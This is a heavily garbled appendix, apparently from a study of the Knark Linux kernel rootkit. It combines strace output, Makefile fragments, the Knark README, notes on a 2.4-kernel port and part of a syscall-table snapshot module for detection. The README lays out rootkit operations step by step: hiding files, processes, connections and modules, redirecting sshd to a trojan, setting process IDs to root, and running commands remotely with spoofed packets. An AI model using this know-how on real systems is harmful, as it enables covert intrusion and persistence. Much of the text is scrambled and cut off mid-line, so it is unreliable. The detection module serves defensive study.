ead(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\320\"\0"..., 
024) = 1024 
stat64(3, {st_mode=S_IFREG|0755, st_size=26232, ...}) = 0 
ld_mmap(NULL, 71732, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 
x40028000 
protect(0x4002e000, 47156, PROT_NONE)  = 0 
ld_mmap(0x4002e000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 
, 0x5000) = 0x4002e000 
ld_mmap(0x40030000, 38964, PROT_READ|PROT_WRITE, 
AP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40030000 
lose(3)                                = 0 

  $(CC) $(CFLAGS) -o nethide $(OBJS) $(SRCDIR)/nethide.o 
rexec:  $(OBJS) $(SRCDIR)/rexec.o 

S  $(CC) $(CFLAGS) -o rexec $(OBJS) $(
 
taskhack: $
  $(CC) $(CFLAGS) -o taskhack $
 
clean: 
  rm -f knark.o modhide.o hidef unhidef root
rexec taskhack $(SRCD
 
C.2:  
 
cc -Wa
strength-reduce -m
clude /usr/src/lin

I/usr/src/linux/include -c src/knark.
 -f knark.o /tmp cp

 
utpuC

 
e
u
b
o
d
o
f
o
c
o
r
1
f
o
1
o
0
m
o
3
c
o
r
1
f
o
0
m
o
3
o
M
c
open("/lib/libc.so.6", O_RDONLY)        = 3 
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read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\0\302\1"..., 
024) = 1024 
stat64(3, {st_mode=S_IFREG|0755, st_size=1216268, ...}) = 0 
ld_mmap(NULL, 1231496, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 
x4003a000 
protect(0x4015e000, 35464, PROT_NONE)  = 0 
ld_mmap(0x4015e000, 20480, PROT_READ|PROT_WRITE, 
AP_PRIVATE|MAP_FIXED, 3, 0x123000) = 0x4015e000 
ld_mmap(0x40163000, 14984, PROT_READ|PROT_WRITE, 
AP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40163000 
lose(3)                                = 0 
pen("/lib/libc.so.6", O_RDONLY)        = 3 
ead(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\0\302\1"..., 
024) = 1024 
stat64(3, {st_mode=S_IFREG|0755, st_size=1216268, ...}) = 0 
lose(3)                       
open("/lib/libc.so.6", O_RDONLY)        = 3 
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\0\302\1"..., 
1024) = 1024 
fstat64(3, {st_mode=S_IFREG|0755, st_size=1216268, ...}) = 0 
close(3)                 
open("/lib/libpthread.so.
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\240O\0"..., 
024) = 1024 

_mode=S_IFREG|0755, st_size=517867, ...}) = 0 
 90396, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 

, 

ONLY)        = 3 
\0\0\0\0\0\0\3\0\3\0\1\0\0\0\0\302\1"..., 

=1216268, ...}) = 0 

LL, 8) = 0 
4016fe80, [], 0x4000000}, NULL, 8) = 0 

, [], 0x4000000}, NULL, 8) = 0 
NULL, 8) = 0 

{{CT  

k(0)            = 0x8053c08 
k(0x 53c3         = 0x8053c38 

 0x8054000 

 PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -

                   = 0 
ose(3)                                = 0 

1
f
o
0
m
o
M
o
M
c
o
r
1
f
c           = 0

               = 0 
0", O_RDONLY)  = 3 

1
fstat64(3, {st
ld_mmap(NULL,o
0x40167000 
mprotect(0x40176000, 28956, PROT_NONE)  = 0 
old_mmap(0x40176000, 28672, PROT_READ|PROT_WRITE
MAP_PRIVATE|MAP_FIXED, 3, 0xe000) = 0x40176000 
old_mmap(0x4017d000, 284, PROT_READ|PROT_WRITE, 
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x4017d000 
ose(3)                                = 0 cl

open("/lib/libc.so.6", O_RD
read(3, "\177ELF\1\1\1\0\0\0
1024) = 1024 
fstat64(3, {st_mode=S_IFREG|0755, st_size
close(3)                                = 0 
munmap(0x40016000, 49641)               = 0 
getpid()                                = 2048 
rt_sigaction(SIGRT_0, {0x40170ad0, [], 0x4000000}, NU

SIGRT_1, {0xrt_sigaction(
rt_sigaction(SIGRT_2, {0x40170b60
rt_sigprocmask(SIG_BLOCK, [RT_0], 
_sysctl( L_KERN, KERN_VERSION}, 2, 0xbffff5c4, 32, (nil), 0}) = 0
getpid()                                = 2048 
br                        
br
br

80 8)                  
k(0x8054000)                          =

open("/usr/share/locale/locale.alias", O_RDONLY) = 3 
fstat64(3, {st_mode=S_IFREG|0644, st_size=2567, ...}) = 0 
old_mmap(NULL, 4096,
1, 0) = 0x40016000 
read(3, "# Locale name alias data base.\n#"..., 4096) = 2567 
brk(0x8055000)                          = 0x8055000 
read(3, "", 4096)    
cl
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munmap(0x40016000, 4096)                = 0 
open("/usr/share/locale/en/LC_IDENTIFICATION", O_RDONLY) = 3 
fstat64(3, {st_mode=S_IFREG|0644, st_size=244, ...}) = 0 
old_mmap(NULL, 244, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40016000 
close(3)                                = 0 
open("/usr/share/locale/en/LC_MEASUREMENT", O_RDONLY) = 3 
fstat64(3, {st_mode=S_IFREG|0644, st_size=13, ...}) = 0 

TELEPHONE", O_RDONLY) = 3 
) = 0 

ose(     
sr/s , O_RDONLY) = 3 

 

d_mm (NUL

tat6 3, {
(NULL, 24, PROT_READ, MAP_PRIVATE, 3, 0) = 0x4001b000 

096, ...}) = 0 
                           = 0 
are/locale/en_US/LC_MESSAGES/SYS_LC_MESSAGES", O_RDONLY) = 

S_IFREG|0644, st_size=276, ...}) = 0 
ld_mmap(NULL, 276, PROT_READ, MAP_PRIVATE, 3, 0) = 0x4001d000 

                            = 0 
pen("/usr/share/locale/en_US/LC_COLLATE", O_RDONLY) = 3 

 

3, 0) = 0x4001e000 

 ...}) = 0 

ENOTTY (Inappropriate 

old_mmap(NULL, 13, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40017000 
           = 0 close(3)                     

en("/usr/share/locale/en/LC_op
fstat64(3, {st_mode=S_IFREG|0644, st_size=49, ...}
old_mmap(NULL, 49, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40018000 

3)                             = 0 cl
open("/u hare/locale/en/LC_ADDRESS"
fstat64(3, {st_mode=S_IFREG|0644, st_size=145, ...}) = 0 

 3, 0) = 0x40019000old_mmap(NULL, 145, PROT_READ, MAP_PRIVATE,
close(3)                                = 0 

3 open("/usr/share/locale/en/LC_NAME", O_RDONLY) = 
fstat64(3, {st_mode=S_IFREG|0644, st_size=67, ...}) = 0 

ap L, 67, PROT_READ, MAP_PRIVATE, 3, 0) = 0x4001a000 ol
close(3)                                = 0 
open("/usr/share/locale/en/LC_PAPER", O_RDONLY) = 3 

4( st_mode=S_IFREG|0644, st_size=24, ...}) = 0 fs
old_mmap
close(3)                                = 0 
open("/usr/share/locale/en_US/LC_MESSAGES", O_RDONLY) = 3 
tat64(3, {st_mode=S_IFDIR|0755, st_size=4fs

close(3)     
pen("/usr/sho
3 
fstat64(3, {st_mode=S_IFREG|0644, st_size=42, ...}) = 0 
old_mmap(NULL, 42, PROT_READ, MAP_PRIVATE, 3, 0) = 0x4001c000 
close(3)                                = 0 
open("/usr/share/locale/en_US/LC_MONETARY", O_RDONLY) = 3 
fstat64(3, {st_mode=
o
close(3)    
o
fstat64(3, {st_mode=S_IFREG|0644, st_size=21484, ...}) = 0 

17e000old_mmap(NULL, 21484, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40
close(3)                                = 0 
open("/usr/share/locale/en_US/LC_TIME", O_RDONLY) = 3 
fstat64(3, {st_mode=S_IFREG|0644, st_size=2441, ...}) = 0 
old_mmap(NULL, 2441, PROT_READ, MAP_PRIVATE, 
brk(0x8056000)                          = 0x8056000 
close(3)                                = 0 

_RDONLY) = 3 open("/usr/share/locale/en_US/LC_NUMERIC", O
fstat64(3, {st_mode=S_IFREG|0644, st_size=44,
old_mmap(NULL, 44, PROT_READ, MAP_PRIVATE, 3, 0) = 0x4001f000 
close(3)                                = 0 
open("/usr/share/locale/en_US/LC_CTYPE", O_RDONLY) = 3 
fstat64(3, {st_mode=S_IFREG|0644, st_size=110304, ...}) = 0 
old_mmap(NULL, 110304, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40184000 
close(3)                                = 0 
time(NULL)                              = 989820195 
ioctl(1, TCGETS, 0xbffff810)            = -1 
ioctl for device) 
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ioctl(1, TIOCGWINSZ, 0xbffff8d8)        = -1 ENOTTY (Inappropriate 
ioctl for device) 
brk(0x8059000)                          = 0x8059000 

7, st_size=4096, ...}) = 0 

 3 
 

, 0x2ptrace: umoven: Input/output error 

0, 0x1000, 0)  = 688 
_size=4096, ...}) = 

size=4096, ...}) = 0 
_ISVTX|0777, st_size=4096, 

.X0-lock", {st_mode=S_IFREG|0444, st_size=11, ...}) = 0 
, 

p/ksocket-root", {st_mode=S_IFDIR|0700, st_size=4096, ...}) 

0777, st_size=4096, 

0, st_size=0, ...}) 

ISVTX|0777, st_size=4096, 

 

4096, 

0700, st_size=4096, ...}) 

 

e=S_IFREG|0600, 

 ...}) = 0 
213, 

44, st_size=1320, ...}) = 

 st_size=1620, ...}) = 

6, ...}) = 0 

_mode=S_IFREG|0644, st_size=721, ...}) = 0 
NYMOUS, -

., 4096) = 721 

lstat64("/tmp/", {st_mode=S_IFDIR|S_ISVTX|077
open("/dev/null", O_RDONLY|O_NONBLOCK|O_DIRECTORY) = -1 ENOTDIR (Not a 
directory) 
open("/tmp/", O_RDONLY|O_NONBLOCK|O_LARGEFILE|O_DIRECTORY) =
fstat64(3, {st_mode=S_IFDIR|S_ISVTX|0777, st_size=4096, ...}) = 0
shmat(3, 0x2
)                      = ? 
brk(0x805b000)                          = 0x805b000 
ipc_subcall(0x3, 0x80583d
lstat64("/tmp/.", {st_mode=S_IFDIR|S_ISVTX|0777, st
0 
lstat64("/tmp/..", {st_mode=S_IFDIR|0755, st_
lstat64("/tmp/.font-unix", {st_mode=S_IFDIR|S
...}) = 0 
lstat64("/tmp/
lstat64("/tmp/linuxconf-rpminstall.log", {st_mode=S_IFREG|0644
st_size=53, ...}) = 0 
lstat64("/tm
= 0 
lstat64("/tmp/.X11-unix", {st_mode=S_IFDIR|S_ISVTX|
...}) = 0 
lstat64("/tmp/session_mm.sem", {st_mode=S_IFREG|060
= 0 
lstat64("/tmp/.ICE-unix", {st_mode=S_IFDIR|S_
...}) = 0 
lstat64("/tmp/kde-feiliu", {st_mode=S_IFDIR|0700, st_size=4096, ...}) =
0 
lstat64("/tmp/ksocket-feiliu", {st_mode=S_IFDIR|0700, st_size=
...}) = 0 
lstat64("/tmp/mcop-feiliu", {st_mode=S_IFDIR|
= 0 
lstat64("/tmp/ksocket-Wolverine", {st_mode=S_IFDIR|0700, st_size=4096,
...}) = 0 
lstat64("/tmp/nsform3AFE059412E0B5F", {st_mod
st_size=528, ...}) = 0 
lstat64("/tmp/hacking.tgz", {st_mode=S_IFREG|0644, st_size=1074303, 
...}) = 0 
lstat64("/tmp/knark.o", {st_mode=S_IFREG|0644, st_size=14136,
lstat64("/tmp/knark-2.4.3.tgz", {st_mode=S_IFREG|0644, st_size=57
...}) = 0 
lstat64("/tmp/modhide.o", {st_mode=S_IFREG|06
0 
lstat64("/tmp/syscall.o", {st_mode=S_IFREG|0644,
0 
lstat64("/tmp/.hideme", {st_mode=S_IFDIR|0755, st_size=409
ipc_subcall(0x3, 0x80583d0, 0x1000, 0)  = 0 
close(3)                                = 0 
open("/etc/mtab", O_RDONLY)             = 3 
fstat64(3, {st
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANO
1, 0) = 0x40020000 
read(3, "/dev/hdc5 / ext2 rw 0 0\nnone /pr"..
close(3)                                = 0 
munmap(0x40020000, 4096)                = 0 
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open("/proc/meminfo", O_RDONLY)         = 3 
fstat64(3, {st_mode=S_IFREG|0444, st_size=0, ...}) = 0 
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -

 = 548 

o", O_RDONLY) = -1 

NLY) = -1 

S_IFREG|0644, st_size=10521, ...}) = 0 
NYMOUS, -

                                       
rectory) 

P_PRIVATE|MAP_ANONYMOUS, -

 

00 

..., 

}) = 0 
, 0) = 

PRIVATE|MAP_FIXED, 

                    = ? 
 

YMOUS, -

0 

                         
irectory) 

1, 0) = 0x40020000 
read(3, "        total:    used:    free:"..., 4096)
close(3)                                = 0 
munmap(0x40020000, 4096)                = 0 
open("/usr/share/locale/en_US/LC_MESSAGES/fileutils.m
ENOENT (No such file or directory) 
open("/usr/share/locale/en/LC_MESSAGES/fileutils.mo", O_RDO
ENOENT (No such file or directory) 
fstat64(1, {st_mode=
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANO
1, 0) = 0x40020000 
socket(PF_UNIX, SOCK_STREAM, 0)         = 3 
connect(3, {sin_family=AF_UNIX, path="       
/var/run/.nscd_socket"}, 110) = -1 ENOENT (No such file or di
close(3)                                = 0 
open("/etc/nsswitch.conf", O_RDONLY)    = 3 
fstat64(3, {st_mode=S_IFREG|0644, st_size=1744, ...}) = 0 
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MA
1, 0) = 0x40021000 
read(3, "#\n# /etc/nsswitch.conf\n#\n# An ex"..., 4096) = 1744
read(3, "", 4096)                       = 0 
close(3)                                = 0 
munmap(0x40021000, 4096)                = 0 
open("/etc/ld.so.cache", O_RDONLY)      = 3 
fstat64(3, {st_mode=S_IFREG|0644, st_size=49641, ...}) = 0 

 3, 0) = 0x4019f0old_mmap(NULL, 49641, PROT_READ, MAP_PRIVATE,
close(3)                                = 0 
open("/lib/libnss_files.so.2", O_RDONLY) = 3 
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\360 \0"
1024) = 1024 
fstat64(3, {st_mode=S_IFREG|0755, st_size=38580, ...
old_mmap(NULL, 41960, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3
0x401ac000 
mprotect(0x401b6000, 1000, PROT_NONE)   = 0 
old_mmap(0x401b6000, 4096, PROT_READ|PROT_WRITE, MAP_
3, 0x9000) = 0x401b6000 
close(3)                                = 0 
munmap(0x4019f000, 49641)               = 0 
open("/etc/passwd", O_RDONLY)           = 3 
shmat(3, 0x1, 0x1ptrace: umoven: Input/output error 
)                      = ? 
shmat(3, 0x1, 0x2ptrace: umoven: Input/output error 
)  
fstat64(3, {st_mode=S_IFREG|0644, st_size=1730, ...}) = 0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON
1, 0) = 0x40021000 
read(3, "root:x:0:0:root:/root:/bin/bash\n"..., 4096) = 173
close(3)                                = 0 
munmap(0x40021000, 4096)                = 0 
socket(PF_UNIX, SOCK_STREAM, 0)         = 3 
connect(3, {sin_family=AF_UNIX, path="                     
/var/run/.nscd_socket"}, 110) = -1 ENOENT (No such file or d
close(3)                                = 0 
open("/etc/group", O_RDONLY)            = 3 
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shmat(3, 0x1, 0x1ptrace: umoven: Input/output error 
)                      = ? 
shmat(3, 0x1, 0x2ptrace: umoven: Input/output error 
)                      = ? 
fstat64(3, {st_mode=S_IFREG|0644, st_size=788, ...}) = 0 
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -

P_PRIVATE|MAP_ANONYMOUS, -

 

4096)                = 0 

, 0x2ptrace: umoven: Input/output error 

E|MAP_ANONYMOUS, -

 = 1730 

n("/etc/group", O_RDONLY)            = 3 

1, 0x2ptrace: umoven: Input/output error 

OT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -

021000, 4096)                = 0 

(3, 0x1, 0x1ptrace: umoven: Input/output error 

at64(3, {st_mode=S_IFREG|0644, st_size=1730, ...}) = 0 
 -

0021000 

group", O_RDONLY)            = 3 

1, 0) = 0x40021000 
read(3, "root:x:0:root\nbin:x:1:root,bin,d"..., 4096) = 788 
close(3)                                = 0 
munmap(0x40021000, 4096)                = 0 
open("/etc/localtime", O_RDONLY)        = 3 
fstat64(3, {st_mode=S_IFREG|0644, st_size=1267, ...}) = 0 
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MA
1, 0) = 0x40021000 
read(3, "TZif\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\4\0\0\0\4\0"...,
4096) = 1267 
close(3)                                = 0 
munmap(0x40021000, 
open("/etc/passwd", O_RDONLY)           = 3 
shmat(3, 0x1, 0x1ptrace: umoven: Input/output error 
)                      = ? 
shmat(3, 0x1
)                      = ? 
fstat64(3, {st_mode=S_IFREG|0644, st_size=1730, ...}) = 0 
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVAT
1, 0) = 0x40021000 
read(3, "root:x:0:0:root:/root:/bin/bash\n"..., 4096)
close(3)                                = 0 
munmap(0x40021000, 4096)                = 0 
ope
shmat(3, 0x1, 0x1ptrace: umoven: Input/output error 
)                      = ? 
shmat(3, 0x
)                      = ? 
fstat64(3, {st_mode=S_IFREG|0644, st_size=788, ...}) = 0 
old_mmap(NULL, 4096, PR
1, 0) = 0x40021000 
read(3, "root:x:0:root\nbin:x:1:root,bin,d"..., 4096) = 788 
close(3)                                = 0 
munmap(0x40
open("/etc/passwd", O_RDONLY)           = 3 
shmat
)                      = ? 
shmat(3, 0x1, 0x2ptrace: umoven: Input/output error 
)                      = ? 
fst
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS,
1, 0) = 0x4
read(3, "root:x:0:0:root:/root:/bin/bash\n"..., 4096) = 1730 
close(3)                                = 0 
munmap(0x40021000, 4096)                = 0 
open("/etc/
shmat(3, 0x1, 0x1ptrace: umoven: Input/output error 
)                      = ? 
shmat(3, 0x1, 0x2ptrace: umoven: Input/output error 
)                      = ? 
fstat64(3, {st_mode=S_IFREG|0644, st_size=788, ...}) = 0 
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old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -
1, 0) = 0x40021000 
read(3, "root:x:0:root\nbin:x:1:root,bin,d"..., 4096) = 788 
close(3)                                = 0 
munmap(0x40021000, 4096)                = 0 
open("/etc/passwd", O_RDONLY)           = 3 

 error 

, ...}) = 0 

,bin,d"..., 4096) = 788 

    = 0 
196 

     root         4096 May 12 20:46 .. 
y 13 16:01 .ICE-unix 

y 12 20:24 .font-unix 
y 14 02:02 .hideme 

king.tgz 

 

y 10 22:54 ksocket-

y 14 00:12 ksocket-feiliu 
y 10 20:42 ksocket-root 

xconf-

y 10 20:55 mcop-feiliu 
 13 17:22 modhide.o 

12E0B5F 
ion_mm.sem 

 

               = ? 

shmat(3, 0x1, 0x1ptrace: umoven: Input/output error 
)                      = ? 
shmat(3, 0x1, 0x2ptrace: umoven: Input/output
)                      = ? 
fstat64(3, {st_mode=S_IFREG|0644, st_size=1730, ...}) = 0 
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -
1, 0) = 0x40021000 
read(3, "root:x:0:0:root:/root:/bin/bash\n"..., 4096) = 1730 
close(3)                                = 0 
munmap(0x40021000, 4096)                = 0 
open("/etc/group", O_RDONLY)            = 3 
shmat(3, 0x1, 0x1ptrace: umoven: Input/output error 
)                      = ? 
shmat(3, 0x1, 0x2ptrace: umoven: Input/output error 
)                      = ? 
fstat64(3, {st_mode=S_IFREG|0644, st_size=788
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -
1, 0) = 0x40021000 
read(3, "root:x:0:root\nbin:x:1:root
close(3)                                = 0 
munmap(0x40021000, 4096)            
write(1, "total 1196\ndrwxrwxrwt   11 root "..., 1371total 1
drwxrwxrwt   11 root     root         4096 May 14 02:02 . 
drwxr-xr-x   18 root
drwxrwxrwt    2 root     root         4096 Ma
-r--r--r--    1 root     root           11 May 13 15:59 .X0-lock 
drwxrwxrwt    2 root     root         4096 May 13 15:59 .X11-unix 
drwxrwxrwt    2 xfs      xfs          4096 Ma
drwxr-xr-x    2 root     root         4096 Ma
-rw-r--r--    1 root     root      1074303 May 13 13:14 hac
drwx------    2 feiliu   feiliu       4096 May 13 16:01 kde-feiliu 
-rw-r--r--    1 root     root        57213 May 13 16:24 knark-2.4.3.tgz
-rw-r--r--    1 root     root        14136 May 14 01:41 knark.o 
drwx------    2 Wolverin Wolverin     4096 Ma
Wolverine 
drwx------    2 feiliu   feiliu       4096 Ma
drwx------    2 root     root         4096 Ma
-rw-r--r--    1 root     root           53 May  9 11:49 linu
rpminstall.log 
drwx------    2 feiliu   feiliu       4096 Ma
-rw-r--r--    1 root     root         1320 May
-rw-------    1 feiliu   feiliu        528 May 12 23:55 
nsform3AFE0594
-rw-------    1 root     root            0 May 12 20:24 sess
-rw-r--r--    1 root     root         1620 May 14 00:45 syscall.o
) = 1371 
close(1)                                = 0 
munmap(0x40020000, 4096)                = 0 
_exit(0)                 
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C.4:  Readme 
 
  Knark v0.59 by Creed @ #hack.se 
     email: creed@sekure.net 
 
 

. Knark is a kernel-based rootkit for Linux 2.2
 
No part of knark may be used to break the law, or to cause damage of 

adable kernel-

d, and then 

y /proc/knark 

m 
et/[tcp|udp] 

 client-program rexec. 

 all depend on 

dev/kmem directly): 

won't be shown by ls or 

u don't have to 

/knark/files 

. 
hich makes directory trees 

any 
kind. And I'm not responsible for anything you do with it. 
 
 
The heart of the package, knark.c, is a Linux lkm (lo
module). 
Type "make" to compile knark and the programs include
"insmod knark" 
to load the lkm. When knark is loaded, the hidden director
is 
created. The following files are created in this directory: 
 

nner :-) author  shameless self-promotion ba
files  list of hidden files on the syste
nethides list of strings hidden in /proc/n
pids  list of hidden pids, ps-like output 
redirects list of exec-redirection entries 
 
 
 
Changes since v0.50: 
Added remote command execution, and added the
 
 

ded in the package (theyThese are the programs inclu
knark.o 

khack.c which modifies /to be loaded, except for tas
 
 
hidef Used to hide files on the system. 
 Create your hax0r-directory /usr/lib/.hax0r, and type: 
 ./hidef /usr/lib/.hax0r 
 Now this directory will be hidden, and 
du. 
 Subdirs and files will be hidden as well, so yo

 in this directory.  hidef anything you put
 
 
unhidef Used to unhide hidden files. You can cat /proc
if you've 
 forgotten which files you've hidden. Type: 
 ./unhidef /usr/lib/.hax0r 

y visible again to make your previously hidden director
 However, there is a bug in the module w
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 start from their mount-point. This means, if you have a 

ret, this file 

d. 

trojan, and type: 
d_trojan 

bin/sshd is supposed to be executed, your 
ar all exec-

/tcp and /proc/net/udp. 

pe: 

/from port ABCD hex (43981 dec). This will 
|udp]. 

p|udp] to use 
your box. 

Foreign Address  State 
localhost:1023   

dress   blablabla... 
0:00000000 

hide everything about ip-address 127.0.0.1, we have 

 127: 7F in hex. Then 0: 

st 1 
o hide 
ooks like 

host 

". 

 Type: 
tme /bin/sh 

filesystem 
 mounted to /mnt, and you hide the file /mnt/sec
will 
 show up as /secret in /proc/knark/files. Files in the root-
filesystem 
 aren't affecte
 
 
ered Used to configure exec-redirection. 
 Copy your sshd trojan to /usr/lib/.hax0r/sshd_
 ./ered /usr/local/sbin/sshd /usr/lib/.hax0r/ssh
 Now, when /usr/local/s
 trojan program will be executed instead. To cle
redirection 
 entries, type: 
 ./ered -c 
 
 
nethide Used to hide strings in /proc/net
This is 
 where netstat gets it's information. Ty
 ./nethide ":ABCD " 
 to hide connections to
 "grep -v" the line ":ABCD " from /proc/net/[tcp
 You have to understand the output from /proc/net/[tc
 this program. Lets say that you have sshd running on 
 Connect to localhost port 22, and type: 
 netstat -at 
 One of the lines looks like this: 
 Proto Recv-Q Send-Q Local Address      
 tcp        0      0 localhost:ssh      
ESTABLISHED 
 And now, lets check /proc/net/tcp. Type: 
 cat /proc/net/tcp 
 One of the lines looks like this: 
   local_address rem_ad
 0:0100007F:0016 0100007F:03FF 01 00000000:00000000 0
00000000 
 If we want to 
to 
 translate it to this format. Start with
00 
 in hex, which gives us 007F. And 0 again: 00007F, and at la
 which gives us the number 0100007F. Now, if we want t
 everything about port 22 and ip-address 127.0.0.1 it l
this: 
 0100007F:0016 (0016 is port 22 in hex). So, typing: 
 ./nethide "0100007F:0016" will hide connections to/from local
 port 22, and typing: 
 ./nethide ":ABCD " will remove all lines containing ":ABCD 
It's 
 like "grep -v". Do you get it? :-) 
 
 
rootme Used to gain root-access without using suid programs.
 ./roo
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 to execute /bin/sh with root-privs. This will also work: 
 ./rootme /bin/ls -l /root 
 You have to type the whole path-name of the binary to execute
 

. 

e: 

 1 S    15:31   0:00 -bash 
 process to 0 (root). 

ps aux | grep bash 
root (!)    91  0.0  1.3  1424   824   1 S    15:31   0:00 -bash 
Isn't this just great? :-). 

 
is w m www.microsoft.com:53 to 
xore haxored.server.nu to /bin/touch 

/LUDER. If you wan't to try this on localhost, don't specify a 

 

 will be 

ans, hat i  all commands you 

nt n, and you've 
th e you a ps-

iffers sets the network interface in promiscious mode, and many 

ll show the IFF_PROMISC flag when SIOCGIFFLAGS is requested. Hiding 

aded, it removes the latest loaded module from the module list, thus 
om /proc/modules. Type: 

 
taskhack Used to change *uid's and *gid's of running processes. Typ
 ./taskhack -alluid=0 pid 
 This will change all *uid's (uid, euid, suid, fsuid) of process 
 "pid" to 0 (root). Type: 
 ps aux | grep bash 
 creed       91  0.0  1.3  1424   824  
 Now, we want to change the euid of this
Type: 
 ./taskhack -euid=0 91 
 
 
 
 
rexec Used to execute commands remotely on a knark-server. Type: *
* ./rexec www.microsoft.com haxored.server.nu /bin/touch /LUDER 
* Th ill send a spoofed udp packet fro
* ha d.server.nu:53, which tells 
* 
* spoofed address different from your own, since the kernel won't 
* accept it. 
* ./rexec localhost localhost /bin/touch /LUDER 
* will do it for you. 
 
(* = newly added thing) 
 
 
And knark has eaven more features than this: 
sending signal 31 to a process will hide it's directory in /proc,
making 
it invisible to ps and top. Type: 
kill -31 pid 
If this process fork's or clone's, all childs of the process
hidden. 
This me t f you hide your shell with kill -31,
issue will be invisible. That's neat :-). 
If you w to make a process visible again for a some reaso
forgotten e pid, just cat /proc/knark/pids. This will giv
like 
output of all hidden processes. 
 
Sn
simple 
sniffer-detectors rely on this. When knark is loaded, no network 
interface 
wi
the 
sniffer with signal 31 is also recommended. 
 
This package includes another lkm than knark; modhide. When modhide is 
lo
hiding it from lsmod, and removing it fr
insmod knark 
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lsmod | grep knark 
knark                   6640   0  (unused) 
insmod modhide 
(erro  messages) r

aref

nce it can't be removed with normal methods, like rmmod. 

 the s some 
nd 
 bug fine, 

s not a bug-free release. Please let me know if you find things 
 

cnet

sample 2.4 module codes and Knark.59 ported 
 really nasty not to provide any protection 

n such kind of distribution, so in the 
ark-2.4.3 directory, you can find a syscall module. This syscall 

 your system 

 you
t. 

**** * 
                       * 

o with this code. It is for  * 
educ .* 
     * 

******** 

lsmod | grep knark 
*noting* 
 
But be c ul, you might have to reboot to get rid of knark if you 
load 
modhide, si
Have fun. And stay out of trouble. 
 
By  way, I don't recommend you to unload the module, there i
ki
of  that can make strange things happen. Sometimes it works 
sometimes 
a process dies and sometimes your computer will look like a banana. 
This i
to
improve. 
 
 
 
email: creed@sekure.net 
Ir  and EFNet: Creed (or Creed_ or something like that) @sekure.net 
 
C.5:  Readme.cyberwinds 
 
This package includes some 

 it isto kernel 2.4. I feel
dule against knark imo

kn
module can take a snapshot of all the syscall addresses in current 
system. By doing so, you can create a syscall addresses copy after a 
efresr h installation and use this copy to validate
integrity later on. 
 

 try it If  do not know what knark is, you probably won't want to
ou
 

************************** ****************************************
                        *                      

 I am*  not responsible for whatever you d
* ational purpose only!!! If you are busted, it is your own fault

       *                                                         
***************************************************************
 

penprojects.net cyberwinds@hotmail.com #irc.o
 
What's new? 
 
1. 2.4 kernel support 
   *) The /proc filesystem stuff has to be completely rewritten 
because of kernel migration from 2.2 to 2.4. /proc node registration 
and cleanup code is completely different. There is no longer shortcut 
to identify /proc/net/tcp and /proc/net/udp--that were statistically 
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set in 2.2 kernel. 
   *) The 2.4 kernel uses getdents64 to identify a dentry. As a 
   *) diff knark.c.2.2 knark.c will show all the changes made to the 
module to work on kernel 2.4 
re , sys_getdents64 has to be intercepted and new data ssult

 mod y module. 

ation. 

.6:  Syscall.c 

gcc lude - 

 # I
 # /sbin/insmod get_sys_call_addr.o 

he f
sys_
/ 

nclu

nclu

 use the proc fs 

clu

s" 
tern void *sys_call_table[]; 

tructures 
are introduced. 
2. hide can hide arbitrar
   *) By using module->modname, arbitrary module can be hidden from 
examin
 
C
 
/*  
 *Compile: 

.c - I / usr / src / linux / inc * - O2 - c get_sys_call_addr
fomit -frame - pointer  

nstall:  *
 *
 **After install, copy / proc / syscall to some safe place.When you 
uspec mpare the / proc / syscall to your s t * LKM was installed, co
original copy.If * they are different, probably LKM was installed. * 

 is: *T ormat of / proc / syscall
_addr   * call_index sys_call

 *
#define __KERNEL__ 
#define MODULE 
#include <linux/version.h> 

 #i de <linux/module.h>
#include <linux/kernel.h> 
#include <linux/mm.h> 

de <linux/file.h> #i
#include <linux/config.h> 
#include <linux/smp_lock.h> 
#include <linux/stat.h> 
#include <linux/dirent.h> 
#include <linux/sys.h> 
#include <sys/syscall.h> /* The list of system calls */ 

t.h> #include <linux/diren
#include <linux/proc_fs.h> /* Necessary because we
*/ 
n de <asm/uaccess.h> #i

